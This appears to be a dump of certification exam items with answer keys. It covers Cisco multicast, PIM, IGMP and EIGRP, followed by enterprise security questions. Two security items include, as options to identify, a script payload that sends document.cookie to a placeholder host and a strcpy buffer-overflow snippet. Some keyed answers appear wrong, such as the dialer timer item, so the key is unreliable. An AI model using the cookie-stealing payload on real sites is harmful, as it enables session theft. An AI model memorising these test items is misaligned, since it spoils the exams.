B. The remote connection is not working correctly.
C. The local connection is not working correctly
D. LMIs are not being received
Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 171
Which timer is reset to the maximum configured value every time an interesting packet is forwarded across the link?
A. wait for carrier timer
B. dialer idle timer
C. dialer enable timer
D. busy timer
Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 172
lab question Please refer to Question 22, but take notice you wil use the same command in this questions, but some paramters like IP address will be different.
A.
B.
C.
D.
Correct Answer: Section: (none) Explanation
Explanation/Reference:
QUESTION 173
Given the partial IPSEC datagram, which provides both authentication and confidentiality, identify the header marked as 2.
A. AH header
B. ESP header
C. MPLS VPN header
D. SA header
Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 174
Which traffic queuing method gives a low-volume traffic stream preferential service?
A. FIFO
B. Priority
C. Custom
D. Weighted Fair
E. Low Latency
Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 175
What are two advantages to the use of RFC 1483 to encapsulate IP data over ATM? (Choose two.)
A. multiprotocol support
B. inherently more secure because of the Address Resolution Protocol (ARP)
C. the CPE in bridge mode performs routing functions
D. ideal for single-user Internet access
Correct Answer: AD Section: (none) Explanation
Explanation/Reference:
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QUESTION 181
Which differences are those between IGMP Snooping and CGMP? (Choose two)
A. IGMP snooping is Cisco proprietary
B. CGMP learns subscribing MAC addresses from the router
C. CGMP learns subscribing MAC addresses by passive listening
D. IGMP snooping requires layer 3 processing
Correct Answer: BD Section: (none) Explanation
QUESTION 182
Based on the partial configuration provided in the exhibit, what additional configuration is required to allow the router to properly participate in a PIM sparse-dense mode scenario?
A. IGMP needs to be enabled on the router.
B. The RP configuration needs to be added for the router to participate in sparse mode network areas.
C. The RP configuration needs to be added for the router to participate in dense mode network areas.
D. The PIM dense-mode state, refresh interval needs to be configured.
Correct Answer: B Section: (none) Explanation
QUESTION 183
Which command sequence is a requirement for configuring the IP address of the rendezvous point (RP) located at IP address 10.10.10.1?
A. Switch(config)# ip pim rp-address 10.10.10.1
B. Switch(config)# ip igmp join-group 10.10.10.1
C. Switch(config)# ip pim accept-rp 10.10.10.1 1
D. Switch(config)# ip pim rp-candidate gigabitethernet0/2
Correct Answer: A Section: (none) Explanation
QUESTION 184
Examine the exhibit carefully. All multilayer switches are running PIM dense mode. Recipient A and Recipient B are forwarding IGMPv2 join messages to their respective multilayer switches. Which option is correct?
A. The Multicast Server is the root of the multicast tree. Switches 4 and 5 will participate in the multicast tree once pruning has taken place.
B. The Multicast Server is the root of the multicast tree. Switches 1,3,4, and 5 will participate in the multicast tree once pruning has taken place.
C. Switch 1 is the root of the multicast tree. Switches 1,3,4, and 5 will participate in the multicast tree once pruning has taken place.
D. Switch 3 is the root of the multicast tree. Switches 1,3,4, and 5 will participate in the multicast tree once pruning has taken place.
Correct Answer: B Section: (none) Explanation
QUESTION 185
Study the exhibit below. IP multicast for group address 224.1.1.1 has been enabled on all routers in the network. Hosts on Network A receive the multicast traffic. However, hosts on Network B do not. Refer to outputs presented, what will cause this problem?
A. The multicast packets are sourced from a server with an unspecified IP address.
B. Router P4S2 does not have an RP configured on the multicast network.
C. Because of RPF failure, Router P4S2 does not forward multicast packets to Network B.
D. Router P4S2 does not regard the upstream router P4S1 as a PIM neighbor.
Correct Answer: C Section: (none)
Explanation
QUESTION 186
According to the network of Layer 3 switches in the exhibit, the RPI Multicast Server only multicasts to hosts connected to multilayer switches 5 and 6. The CMU Multicast Server multicasts to hosts on multi-layer switches 1-6. Refer to the number of configuration steps involved, which way most efficiently configures the network when meeting the requirements for multicast data flow?
A. Configure each switch with PIM sparse mode.
B. Configure each switch with PIM dense mode.
C. Configure each switch with PIM sparse mode and a separate instance of PIM dense mode. Leave each multicast server as the root of its own multicast tree.
D. Configure each switch with PIM sparse-dense mode. Configure switch 3 as a rendezvous point for the RPI multicast stream.
Correct Answer: D Section: (none) Explanation QUESTION 187
You are a network technician at P4S .Study the exhibit carefully. All multilayer switches are running PIM sparse mode. Host P4SB and Host P4SF are sending IGMPv2 join messages to their respective multilayer switches. Which description is correct?
A. Switches 2 and 6 will participate in the multicast tree once pruning has taken place.
B. The multicast server is the rendezvous point of the multicast tree.
C. Switches 1, 2, 3, and 6 will participate in the multicast tree once pruning has taken place.
D. Switches 1, 2, 3, and 6 will participate in the multicast tree.
Correct Answer: D Section: (none) Explanation
QUESTION 188
You work as a network engineer at P4S, and you are tasked to configure a large Frame Relay network. The desired topology is full mesh. Assume that n represents the
number of router
endpoints in the topology. What formula should be used to determine how many PVCs to configure?
A. n*n
B. 2*n
C. 3*n
D. n*(n-1)/2
Correct Answer: D Section: (none) Explanation
QUESTION 189
Study the exhibit carefully. Which two conclusions can be derived from the debug ip igmp output? (Choose two.)
A. The IP multicast groups are 224.0.0.1, 224.0.1.40, and 239.255.0.1.
B. IP PIM RP mapping is static.
C. Router P4S-RA received an IGMP report version 1 from host 192.168.9.1.
D. The router sent an IGMP version 2 query out interface Ethernet1 at multicast address 224.0.0.1.
Correct Answer: CD Section: (none) Explanation
QUESTION 190
From the show ip eigrp topology command output, which code is the indication of a convergence problem for the associated network?
A. Active
B. Update
C. Query
D. SIA
Correct Answer: D Section: (none) Explanation
QUESTION 191
Protocol Independent Multicast (PIM) has two modes: Sparse Mode and Dense Mode. Here, we focus on the Dense Mode. Which statement correctly describes Protocol Independent Multicast Dense Mode (PIM DM) multicast routing?
A. If a port is pruned, the administrator must re-enable the port to support multicast traffic.
B. PIM DM supports shared distribution trees.
C. The (S,G) state exists in every router, regardless of the presence of an RPF interface.
D. Flooding of traffic only occurs in the beginning stages of routing. Afterwards, all necessary ports are pruned and multicast traffic is not sent across those interfaces.
Correct Answer: C Section: (none) Explanation
QUESTION 192
Which three descriptions are correct regarding the Internet Group Management Protocol (IGMP)? (Choose three.)
A. IGMP is a multicast routing protocol that makes packet-forwarding decisions independent of other routing protocols such as EIGRP.
B. IGMP is used to register individual hosts with a multicast group.
C. IGMP version 3 enables a multicast receiving host to specify to the router which sources it should forward traffic from.
D. IGMP messages are IP datagrams with a protocol value of 2, destination address of 224.0.0.2, and a TTL value of 1.
Correct Answer: BCD Section: (none) Explanation
QUESTION 193
Which two multicast IP addresses can be represented by the multicast MAC address 0100.5e0A.0A07? (Choose two.)
A. 229.138.10.7
B. 228.10.138.7
C. 228.10.10.8
D. 228.10.10.7
Correct Answer: AD Section: (none) Explanation
QUESTION 194
A P4S network administrator assigns a multicast address of 239.255.8.5 to an application running on a
device with an Ethernet MAC address of 01.b2.7d.05.f1.80.
Which Layer 2 multicast
address will be used by this device?
A. 01.00.5e.7F.08.05
B. 01.00.5e.05.f1.80
C. 01.b2.7d.05.f1.80
D. 01.b2.7d.0a.08.05
Correct Answer: A Section: (none) Explanation QUESTION 195
The IP multicast global configuration command ip pim send-rp-announce loopback0 scope 31 group-list 5 issued on multicast router RTA. What are the two results? (Choose two)
A. RTA will originate RP announcements with TTL set to 31.
B. RTA will drop all RP announcements it receives if the TTL field is greater than 31.
C. RTA will forward RP announcements provided they are within the scope of 31.
D. RTA will originate RP announcements for multicast groups that match access-list 5.
Correct Answer: AD Section: (none) Explanation
QUESTION 196
Which three statements correctly describe IP multicast configuration? (Choose three.)
A. PIM sparse mode interfaces are always added to the multicast routing table in a router.
B. PIM sparse mode and PIM sparse-dense mode require an RP on the network.
C. PIM dense mode interfaces are always added to the multicast routing table in a router.
D. PIM sparse-dense mode acts as PIM dense mode if an RP is not known.
Correct Answer: BCD Section: (none) Explanation
QUESTION 197
Internet Protocol (IP) multicast is a bandwidth-conserving technology that reduces traffic by simultaneously delivering a single stream of information to thousands of corporate recipients and homes .Which three IP multicast related statements are true? (Choose three.)
A. Multicast addresses 239.0.0.0 through 239.255.255.255 are called limited scope addresses. They are constrained to a local group or organization.
B. The multicast address 224.0.0.1 is a globally scoped address that has been reserved for the Network Time Protocol (NTP) by the IANA.
C. Multicast addresses 224.0.1.0 through 238.255.255.255 are called globally scoped addresses. They are used to multicast data between organizations and across the Internet.
D. Multicast addresses 224.0.0.0 through 224.0.0.255 are used for network protocols on local LAN segments. Because they are always transmitted with a Time to Live (TTL) of 1, they are never forwarded by a router.
Correct Answer: ACD Section: (none) Explanation
QUESTION 198
When a network client wants to join a multicast group, which type of IGMP message is transmitted?
A. host membership status
B. host membership report
C. host membership notification
D. host membership query
Correct Answer: B Section: (none) Explanation
QUESTION 199
What is the MAC address that comes from the multicast address 239.255.0.1?
A. 01-01-ef-ff-00-01
B. 10-00-ef-ff-00-01
C. 01-00-5e-7f-00-01
D. 00-00-00-7f-00-01
Correct Answer: C Section: (none) Explanation
QUESTION 200
Examine the following statements, then answer this question. When the passive-interface command is used on a router, which two routing protocols will continue to receive routing updates on an interface that is configured as passive? (Choose two.)
A. EIGRP
B. RIP
C. RIPv2
D. OSPF
Correct Answer: BC Section: (none) Explanation
QUESTION 201
The P4Spany has implemented EIGRP in its network.
Identify three characteristics of EIGRP feasible successors? (Choose three.)
A. If the successor becomes unavailable, then the feasible successor can be used immediately without recalculating for a lost route.
B. A feasible successor is selected by comparing the advertised distance of a non-successor route to the feasible distance of the best route.
C. If the advertised distance of the non-successor route is less than the feasible distance of best route, then that route is identified as a feasible successor.
D. The feasible successor can be found in the routing table.
Correct Answer: ABC Section: (none) Explanation
QUESTION 202
IP Multicast is a method of forwarding IP datagrams to a group of interested receivers. Examine the exhibit
carefully. IP multicast configuration changes have been made on several routers.
However, the IP multicast table shown in the exhibit still does not reflect the changes. What should be
done in order to display the new routing table information?
A. Issue the clear ip route * privileged EXEC command.
B. Issue the no ip mroute-cache privileged EXEC command.
C. Issue the clear ip mroute privileged EXEC command.
D. Issue the clear ip igmp group privileged EXEC command.
Correct Answer: C Section: (none) Explanation
QUESTION 203
Examine the exhibit carefully. Each router has Protocol Independent Multicast (PIM) enabled interfaces.
Based on the configuration presented on routers P4S1 and P4S2, which router
will take on the function of rendezvous point (RP) for the multicast network?
A. both routers P4S 1 and P4S 2
B. router P4S2
C. router P4S1
D. none of the routers since they are not configured with static RP
Correct Answer: B Section: (none) Explanation
QUESTION 204
Look at the exhibit below. Which two facts are important in interpreting the output of the show ip pim interface command? (Choose two.)
A. Multiaccess, multicast segments do not elect a DR.
B. Point-to-Point links do not display DR information.
C. Multiaccess segments elect a DR based on lowest IP address.
D. Multiaccess segments elect a DR based on highest IP address.
Correct Answer: BD Section: (none) Explanation
QUESTION 205
Which two statements best describe multicast protocol? (Choose two.)
A. Sparse mode uses reverse path forwarding (RPF) to prune off redundant flows.
B. Sparse mode multicast uses a pull model to send multicast traffic to where it is requested.
C. Dense mode multicast uses a push model to flood traffic throughout the network and then prunes the unwanted traffic.
D. The primary use of sparse mode multicast is for test labs and router performance testing.
Correct Answer: BC Section: (none) Explanation
QUESTION 206
If you want to allow a switch to decide which ports to forward IP multicast messages , what methods may be effective? (Choose three)
A. IGMP
B. CGMP
C. IGMP snooping
D. static assignment
Correct Answer: BCD Section: (none) Explanation QUESTION 207
Look at the following exhibit. Choose two correct statements regarding the PIM sparse mode network! (Choose two)
A. The multicast source is connected to the serial 1/4 interface.
B. The multicast source is directly connected to this router.
C. The multicast receiver is directly connected to this router.
D. The RP for this network is this router.
Correct Answer: AD Section: (none) Explanation
QUESTION 208
Study the exhibit carefully. According to the configuration in the exhibit ,which statement is correct ?
A. The rendezvous point is IP address 172.16.4.16.
B. IGMP version 2 is being used.
C. If a rendezvous point is configured, the interface cannot operate in dense mode.
D. A rendezvous point must be configured in order for the interface to operate in sparse mode.
Correct Answer: D Section: (none) Explanation
QUESTION 209
P4S uses IGMP version 2 in their IP multicast network. How is the designated querier elected in IGMPv2?
A. The first router to appear on a subnet is designated.
B. The host with the lowest MAC address on a segment is designated.
C. The router with the lowest IP address on a subnet is designated.
D. The host that responds first to the election query is designated.
Correct Answer: C Section: (none) Explanation
QUESTION 210
Study the exhibit below carefully. Switch P4S-Switch is receiving IGMP frames only on interface FastEthernet 0/3.Refer to the IGMP snooping, out of which port or ports will switch P4S-Switch forward multicast traffic?
A. all ports
B. FastEthernet 0/1, 0/2, 0/3, 0/4
C. FastEthernet 0/3
D. FastEthernet 0/1, 0/2, 0/4, 0/5, 0/6, 0/7, 0/8
Correct Answer: C Section: (none) Explanation
QUESTION 211
Which two statements correctly describe the rendezvous point (RP) in a multicast network? (Choose two.)
A. An RP is required only in networks running Protocol Independent Multicast sparse-dense mode (PIM-SDM).
B. To form the multicast distribution tree, the multicast sources register with and the receivers join the RP.
C. An RP is required only in networks running Protocol Independent Multicast dense mode (PIM DM).
D. An RP is required only in networks running Protocol Independent Multicast sparse mode (PIM SM).
Correct Answer: BD Section: (none) Explanation
QUESTION 212
In order to display the two values used in the calculation of the EIGRP metric, which show command will be used?
A. show ip eigrp neighbor
B. show protocol
C. show interface
D. show ip eigrp interface
Correct Answer: D Section: (none) Explanation
QUESTION 213
You work as a network engineer at P4S.Refer to the exhibit. Given the output of a debug ip mrouting command, which two statements are correct? (Choose two.)
A. This router P4S received an IGMP host report from a group member or a PIM join message.
B. Multicast route to 224.69.15.0/24 was added to the mroute table and created by a source directly connected to the router P4S.
C. Multicast route to 10.16.0.0/16 was added to the mroute table and created by a source directly connected to the router P4S.
D. The reverse path forwarding (RPF) for the route 224.2.0.1 failed to find the interface on which the multicast packet was received.
Correct Answer: AC Section: (none) Explanation
QUESTION 214
For the following options, which three IP multicast group concepts are correct? (Choose three.)
A. A router must be a member of a multicast group to receive multicast data.
B. A router does not have to be a member of a multicast group to receive multicast data.
C. If a packet is sent to a multicast group address, the multicast frame contains the source multicast address.
D. A router does not have to be a member of a multicast group to send to the group.
E. If a packet is sent to a multicast group address, all members of the multicast group will receive it.
Correct Answer: ADE Section: (none) Explanation
QUESTION 215
Which three IP multicast address related descriptions are correct? (Choose three.)
A. Multicast addresses 224.0.0.0 through 224.0.0.255 are always forwarded because they are transmitted with Time to Live (TTL) greater than 1.
B. Multicast addresses 224.0.0.13 and 224.0.0.22 are reserved link-local addresses used by PIMv2 and IGMPv3.
C. Multicast address 224.0.1.1 has been reserved for the Network Time Protocol (NTP) by the IANA.
D. The administratively scoped multicast addresses 239.0.0.0 through 239.255.255.255 are similar in purpose to RFC 1918 private unicast addresses.
Correct Answer: BCD Section: (none) Explanation
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QUESTION 1
Which of the following attacks does Unicast Reverse Path Forwarding prevent?
A. Man in the Middle
B. ARP poisoning
C. Broadcast storm
D. IP Spoofing
Correct Answer: D QUESTION 2
Which of the following authentication types is used primarily to authenticate users through the use of tickets?
A. LDAP
B. RADIUS
C. TACACS+
D. Kerberos Correct Answer: D QUESTION 3
A security consultant is evaluating forms which will be used on a company website. Which of the following techniques or terms is MOST effective at preventing malicious individuals from successfully exploiting programming flaws in the website?
A. Anti-spam software
B. Application sandboxing
C. Data loss prevention
D. Input validation Correct Answer: D QUESTION 4
A security audit has uncovered that some of the encryption keys used to secure the company B2B financial transactions with its partners may be too weak. The security administrator needs to implement a process to ensure that financial transactions will not be compromised if a weak encryption key is found. Which of the following should the security administrator implement?
A. Entropy should be enabled on all SSLv2 transactions.
B. AES256-CBC should be implemented for all encrypted data.
C. PFS should be implemented on all VPN tunnels.
D. PFS should be implemented on all SSH connections.
Correct Answer: C QUESTION 5
A company provides on-demand virtual computing for a sensitive project. The company implements a fully virtualized datacenter and terminal server access with two-factor authentication for access to sensitive data. The security administrator at the company has uncovered a breach in data confidentiality. Sensitive data was found on a hidden directory within the hypervisor. Which of the following has MOST likely occurred?
A. A stolen two factor token and a memory mapping RAM exploit were used to move data from one virtual guest to an unauthorized similar token.
B. An employee with administrative access to the virtual guests was able to dump the guest memory onto their mapped disk.
C. A host server was left un-patched and an attacker was able to use a VMEscape attack to gain unauthorized access.
D. A virtual guest was left un-patched and an attacker was able to use a privilege escalation attack to gain unauthorized access. Correct Answer: C QUESTION 6
Company XYZ provides residential television cable service across a large region. The company’s board of directors is in the process of approving a deal with the following three companies:
A National landline telephone provider
A Regional wireless telephone provider
An international Internet service provider
The board of directors at Company XYZ wants to keep the companies and billing separated.
While the Chief Information Officer (CIO) at Company XYZ is concerned about the confidentiality of Company XYZ’s customer data and wants to share only minimal information about its customers for the purpose of accounting, billing, and customer authentication.
The proposed solution must use open standards and must make it simple and seamless for Company XYZ’s customers to receive all four services.
Which of the following solutions is BEST suited for this scenario?
A. All four companies must implement a TACACS+ web based single sign-on solution with associated captive portal technology.
B. Company XYZ must implement VPN and strict access control to allow the other three companies to access the internal LDAP.
C. Company XYZ needs to install the SP, while the partner companies need to install the WAYF portion of a Federated identity solution.
D. Company XYZ needs to install the IdP, while the partner companies need to install the SP portion of a Federated identity solution. Correct Answer: D QUESTION 7
The security administrator at a bank is receiving numerous reports that customers are unable to login to the bank website. Upon further investigation, the security administrator discovers that the name associated with the bank website points to an unauthorized IP address.
Which of the following solutions will MOST likely mitigate this type of attack?
A. Security awareness and user training
B. Recursive DNS from the root servers
C. Configuring and deploying TSIG
D. Firewalls and IDS technologies
Correct Answer: C QUESTION 8
A security administrator has finished building a Linux server which will host multiple virtual machines through hypervisor technology. Management of the Linux server, including monitoring server performance, is achieved through a third party web enabled application installed on the Linux server. The security administrator is concerned about vulnerabilities in the web application that may allow an attacker to retrieve data from the virtual machines.
Which of the following will BEST protect the data on the virtual machines from an attack?
A. The security administrator must install the third party web enabled application in a chroot environment.
B. The security administrator must install a software firewall on both the Linux server and the virtual machines.
C. The security administrator must install anti-virus software on both the Linux server and the virtual machines.
D. The security administrator must install the data exfiltration detection software on the perimeter firewall. Correct Answer: A QUESTION 9
A breach at a government agency resulted in the public release of top secret information. The Chief Information Security Officer has tasked a group of security professionals to deploy a system which will protect against such breaches in the future.
Which of the following can the government agency deploy to meet future security needs?
A. A DAC which enforces no read-up, a DAC which enforces no write-down, and a MAC which uses an access matrix.
B. A MAC which enforces no write-up, a MAC which enforces no read-down, and a DAC which uses an ACL.
C. A MAC which enforces no read-up, a MAC which enforces no write-down, and a DAC which uses an access matrix.
D. A DAC which enforces no write-up, a DAC which enforces no read-down, and a MAC which uses an ACL. Correct Answer: C QUESTION 10
The internal auditor at Company ABC has completed the annual audit of the company’s financial system. The audit report indicates that the accounts receivable department has not followed proper record disposal procedures during a COOP/BCP tabletop exercise involving manual processing of financial transactions.
Which of the following should be the Information Security Officer’s (ISO’s) recommendation? (Select TWO).
A. Wait for the external audit results
B. Perform another COOP exercise
C. Implement mandatory training
D. Destroy the financial transactions
E. Review company procedures
Correct Answer: CE QUESTION 11
Company ABC has recently completed the connection of its network to a national high speed private research network. Local businesses in the area are seeking sponsorship from Company ABC to connect to the high speed research network by directly connecting through Company ABC’s network. Company ABC’s Chief Information Officer (CIO) believes that this is an opportunity to increase revenues and visibility for the company, as well as promote research and development in the area.
Which of the following must Company ABC require of its sponsored partners in order to document the technical security requirements of the connection?
A. SLA
B. ISA
C. NDA
D. BPA
Correct Answer: B QUESTION 12
A security analyst at Company A has been trying to convince the Information Security Officer (ISO) to allocate budget towards the purchase of a new intrusion prevention system (IPS) capable of analyzing encrypted web transactions.
Which of the following should the analyst provide to the ISO to support the request? (Select TWO).
A. Emerging threat reports
B. Company attack tends
C. Request for Quote (RFQ)
D. Best practices
E. New technologies report Correct Answer: AB QUESTION 13
The IT department of a pharmaceutical research company is considering whether the company should allow or block access to social media websites during lunch time. The company is considering the possibility of allowing access only through the company’s guest wireless network, which is logically separated from the internal research network. The company prohibits the use of personal devices; therefore, such access will take place from company owned laptops.
Which of the following is the HIGHEST risk to the organization?
A. Employee’s professional reputation
B. Intellectual property confidentiality loss
C. Downloaded viruses on the company laptops
D. Workstation compromise affecting availability
Correct Answer: B
QUESTION 14
A security audit has uncovered a lack of security controls with respect to employees’ network account management. Specifically, the audit reveals that employee’s network accounts are not disabled in a timely manner once an employee departs the organization. The company policy states that the network account of an employee should be disabled within eight hours of termination. However, the audit shows that 5% of the accounts were not terminated until three days after a dismissed employee departs. Furthermore, 2% of the accounts are still active. Which of the following is the BEST course of action that the security officer can take to avoid repeat audit findings?
A. Review the HR termination process and ask the software developers to review the identity management code.
B. Enforce the company policy by conducting monthly account reviews of inactive accounts.
C. Review the termination policy with the company managers to ensure prompt reporting of employee terminations.
D. Update the company policy to account for delays and unforeseen situations in account deactivation.
Correct Answer: C
QUESTION 15
Which of the following is true about an unauthenticated SAMLv2 transaction?
A. The browser asks the SP for a resource. The SP provides the browser with an XHTML format. The browser asks the IdP to validate the user, and then provides the XHTML back to the SP for access.
B. The browser asks the IdP for a resource. The IdP provides the browser with an XHTML format. The browser asks the SP to validate the user, and then provides the XHTML to the IdP for access.
C. The browser asks the IdP to validate the user. The IdP sends an XHTML form to the SP and a cookie to the browser. The browser asks for a resource to the SP, which verifies the cookie and XHTML format for access.
D. The browser asks the SP to validate the user. The SP sends an XHTML form to the IdP. The IdP provides the XHTML form back to the SP, and then the browser asks the SP for a resource.
Correct Answer: A
QUESTION 16
A company which manufactures ASICs for use in an IDS wants to ensure that the ASICs’ code is not prone to buffer and integer overflows. The ASIC technology is copyrighted and the confidentiality of the ASIC code design is exceptionally important. The company is required to conduct internal vulnerability testing as well as testing by a third party.
Which of the following should be implemented in the SDLC to achieve these requirements?
A. Regression testing by the manufacturer and integration testing by the third party
B. User acceptance testing by the manufacturer and black box testing by the third party
C. Defect testing by the manufacturer and user acceptance testing by the third party
D. White box unit testing by the manufacturer and black box testing by the third party
Correct Answer: D
QUESTION 17
The security administrator is receiving numerous alerts from the internal IDS of a possible Conficker infection spreading through the network via the Windows file sharing services. Given the size of the company which deploys over 20,000 workstations and 1,000 servers, the security engineer believes that the best course of action is to block the file sharing service across the organization by placing ACLs on the internal routers.
Which of the following should the security administrator do before applying the ACL?
A. Quickly research best practices with respect to stopping Conficker infections and implement the solution.
B. Consult with the rest of the security team and get approval on the solution by all the team members and the team manager.
C. Apply the ACL immediately since this is an emergency that could lead to a widespread data compromise.
D. Call an emergency change management meeting to ensure the ACL will not impact core business functions.
Correct Answer: D
QUESTION 18
A company currently does not use any type of authentication or authorization service for remote access. The new security policy states that all remote access must be locked down to only authorized personnel. The policy also dictates that only authorized external networks will be allowed to access certain internal resources.
Which of the following would MOST likely need to be implemented and configured on the company’s perimeter network to comply with the new security policy? (Select TWO).
A. VPN concentrator
B. Firewall
C. Proxy server
D. WAP
E. Layer 2 switch
Correct Answer: AB
QUESTION 19
Which of the following displays an example of a buffer overflow attack?
A. <SCRIPT> document.location=’http://site.comptia/cgi-bin/script.cgi?’+document.cookie </SCRIPT>
B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb 7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb
C. #include char *code = “AAAABBBBCCCCDDD”; //including the character ‘\0’ size = 16 bytes void main() {char buf[8]; strcpy(buf, code);
}
D. <form action=”/cgi-bin/login” method=post> Username: <input type=text name=username> PassworD. <input type=password name=password> <input type=submit value=Login>
Correct Answer: C
QUESTION 20
Which of the following displays an example of a XSS attack?
A. <SCRIPT> document.location=’http://site.comptia/cgi-bin/script.cgi?’+document.cookie </SCRIPT>
B. Checksums-Sha1:7be9e9bac3882beab1abb002bb5cd2302c76c48d 1157 xfig_3.2.5.b-1.dsc e0e3c9a9df6fac8f1536c2209025577edb1d1d9e 5770796 xfig_3.2.5.b.orig.tar.gz d474180fbeb6955e79bfc67520ad775a87b68d80 46856 xfig_3.2.5.b-1.diff.gz ddcba53dffd08e5d37492fbf99fe93392943c7b0 3363512 xfig-doc_3.2.5.b-1_all.deb 7773821c1a925978306d6c75ff5c579b018a2ac6 1677778 xfig-libs_3.2.5.b-1_all.deb b26c18cfb2ee2dc071b0e3bed6205c1fc0655022 739228 xfig_3.2.5.b-1_amd64.deb
C. <form action=”/cgi-bin/login” method=post> Username: <input type=text name=username> PassworD. <input type=password name=password> <input type=submit value=Login>
D. #include char *code = “AAAABBBBCCCCDDD”; //including the character ‘\0’ size = 16 bytes void main() {char buf[8]; strcpy(buf, code); }
Correct Answer: A
QUESTION 21
Several critical servers are unresponsive after an update was installed. Other computers that have not yet received the same update are operational, but are vulnerable to certain buffer overflow attacks. The security administrator is required to ensure all systems have the latest updates while minimizing any downtime.
Which of the following is the BEST risk mitigation strategy to use to ensure a system is properly updated and operational?
A. Distributed patch management system where all systems in production are patched as updates are released.
B. Central patch management system where all systems in production are patched by automatic updates as they are released.
C. Central patch management system where all updates are tested in a lab environment after being installed on a live production system.
D. Distributed patch management system where all updates are tested in a lab environment prior to being installed on a live production system.
Correct Answer: D
QUESTION 22
A business is currently in the process of upgrading its network infrastructure to accommodate a personnel growth of over fifty percent within the next six months. All preliminary planning has been completed and a risk assessment plan is being adopted to decide which security controls to put in place throughout each phase.
Which of the following risk responses is MOST likely being considered if the business is creating an SLA with a third party?
A. Accepting risk
B. Mitigating risk
C. Identifying risk
D. Transferring risk
Correct Answer: D
QUESTION 23
Which of the following must be taken into consideration for e-discovery purposes when a legal case is first presented to a company?
A. Data ownership on all files
B. Data size on physical disks
C. Data retention policies on only file servers
D. Data recovery and storage
Correct Answer: D
QUESTION 24
A company has purchased a new system, but security personnel are spending a great deal of time on system maintenance. A new third party vendor has been selected to maintain and manage the company’s system. Which of the following document types would need to be created before any work is performed?
A. IOS
B. ISA
C. SLA
D. OLA
Correct Answer: C
QUESTION 25
The security administrator of a small private firm is researching and putting together a proposal to purchase an IPS to replace an existing IDS. A specific brand and model has been selected, but the security administrator needs to gather various cost information for that product. Which of the following documents would perform a cost analysis report and include information such as payment terms?
A. RFI
B. RTO
C. RFQ
D. RFC
Correct Answer: C
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